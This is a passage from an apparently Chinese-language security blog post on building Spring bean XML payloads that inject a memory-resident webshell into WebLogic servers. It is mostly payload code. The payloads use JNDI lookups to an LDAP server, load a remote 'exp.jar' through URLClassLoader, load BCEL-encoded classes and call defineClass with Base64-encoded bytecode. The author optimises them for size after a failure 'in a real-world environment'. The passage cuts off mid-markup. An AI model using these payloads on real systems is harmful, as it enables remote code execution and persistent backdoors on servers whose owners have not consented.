#e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>62<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                        ......<br/>                    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>                <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>            <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span><br/></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">这个payload看着确实要通用很多，但是体积太大了，注入一个内存马的xml要六百多k。在本地没有问题，但在实战环境上没有成功，当时感觉可能是体积太大的问题。所以只能思考如何减少体积。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x02 </span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">factory-method系列payload</span></strong></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">后来发现通过init-method来构造payload，限制有点多，人工找class成本有点大。摆在我面前的有两条路</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">1. 编写gadgetinspector规则挖掘符合条件的class</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">2. 再翻翻官方文档，看看有没有可能直接调用有参数方法。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">很显然挖链成本高一些，于是我打算先走第二条路，走不通就只能死磕第一条路了。在看官方文档时,我着重关注如下涉及方法调用的标签和属性。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">标签/属性</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">分析</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">&lt;bean&gt;&lt;constructor-arg&gt;&lt;/constructor-arg&gt;&lt;/bean&gt;</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">调用构造器</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">&lt;property&gt;</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">创建bean时，可调setter方法</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">init-method</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">bean初始化时，可以调用一个无参方法</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">destroy-method</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">bean被销毁时，可以调用一个无参方法</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">lookup-method</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">可以控制返回结果，但是weblogic没有cglib库,这个标签没发用</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">replace-method</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">任意方法替换，可以替换某些方法的实现逻辑为另一个方法，但是xml无法定义替换逻辑</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">factory-method</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">通过调用工厂方法创建bean，可调用返回值不为void的有参方法，静态和非静态都可以</td></tr></tbody></table></section></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">很显然factory-method非常符合我们的要求,构造起payload就轻松多了。</span><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">2.1 jndi</span></strong></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;javax.naming.InitialContext&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;doLookup&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.lang.String&#34;</span> <span style="color: #d19a66;line-height: 26px;">value</span>=<span style="color: #98c379;line-height: 26px;">&#34;ldap://127.0.0.1:1664/exp&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">jndi有jdk版本限制，so继续优化。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">2.2 loadjar</span></strong></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;classLoader&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.net.URLClassLoader&#34;</span> &gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>            <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>                <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.net.URL&#34;</span>&gt;</span><a href="http://127.0.0.1:1664/exp.jar" target="_blank">http://127.0.0.1:1664/exp.jar</a><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>            <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazz&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;classLoader&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;loadClass&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.lang.String&#34;</span> <span style="color: #d19a66;line-height: 26px;">value</span>=<span style="color: #98c379;line-height: 26px;">&#34;InjectMemshell&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazz&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;newInstance&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">加载class要通用很多，只是需要搭一个http服务比较繁琐，利用上不是很方便，so继续优化。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">2.3 bcel</span></strong><span style="font-size: 14px;letter-spacing: 1px;"></span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">new</span> com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(<span style="color: #98c379;line-height: 26px;">&#34;$$BCEL$$$...&#34;</span>).newInstance();<br/></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">代码转换为spring bean:</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34; <a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd " target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd </a>&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;classloader&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;com.sun.org.apache.bcel.internal.util.ClassLoader&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazz&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;classloader&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;loadClass&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.lang.String&#34;</span> <span style="color: #d19a66;line-height: 26px;">value</span>=<span style="color: #98c379;line-height: 26px;">&#34;$$BCEL$$$......&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazz&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;newInstance&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">有的JDK版本bcel被去掉了，so还得继续构造。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">2.4 java.lang.ClassLoader#defineClass</span></strong></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">java下执行代码要说兼容性最好，当然还得是</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">java.lang.ClassLoader#defineClass</span><span style="font-size: 14px;letter-spacing: 1px;">。接下来只需要思考如何把下面的代码，用sprng bean来表达即可。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="color: black;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 15px 16px 16px;display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(171, 178, 191);"><span style="color: #c678dd;line-height: 26px;">byte</span>[] clazzBytes = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #c678dd;line-height: 26px;">byte</span>[]{</span><span style="color:#d19a66;">-54,-2,-70,-66,0,</span><span style="color:#abb2bf;">......};<br/>Method defineClass = ClassLoader</span><span style="color: rgb(171, 178, 191);line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getDeclaredMethod</span>(&#34;<span style="color: #e6c07b;line-height: 26px;">defineClass</span>&#34;, <span style="color: #e6c07b;line-height: 26px;">byte</span>[].<span style="color: #e6c07b;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">int</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">int</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>)</span><span style="color:#abb2bf;">;<br/>defineClass.setAccessible(</span><span style="color: rgb(198, 120, 221);line-height: 26px;">true</span><span style="color:#abb2bf;">);<br/>Class clazz = (Class)defineClass.invoke(</span><span style="color: rgb(198, 120, 221);line-height: 26px;">new</span><span style="color:#abb2bf;"> MLet(),clazzBytes,</span><span style="color: rgb(209, 154, 102);line-height: 26px;">0</span><span style="color:#abb2bf;">,clazzBytes.length);<br/>clazz.newInstance();<br/></span></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="text-decoration: none;"><strong><span style="text-decoration: none;font-size: 14px;letter-spacing: 1px;">通过研究发现一个小细节，spring bean可以调用私有方法无需反射。这就很方便了，可以直接调用当前class及其所有父类的方法。</span></strong></span><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">构造过程还遇到一个问题，使用</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">&lt;list&gt;</span><span style="font-size: 14px;letter-spacing: 1px;">标签存储class字节码导致payload要大很多。当然有的人会想的用</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">weblogic.utils.Hex</span><span style="font-size: 14px;letter-spacing: 1px;">来编码，其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化，为了通用我打算去weblogic下找，并着重考虑</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">weblogic.*</span><span style="font-size: 14px;letter-spacing: 1px;">包名下的。最后找到了如下两个，不过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">1</span><span style="font-size: 14px;letter-spacing: 1px;">没有被当前classloader加载，只能选择</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">2</span><span style="font-size: 14px;letter-spacing: 1px;">。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">1. weblogic.servlet.utils.Base64</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">2. weblogic.utils.encoders.BASE64Decoder</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">最终优化如下，大概就是目前我觉得最好的payload了。如果你有更好的payload欢迎留言交流。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: 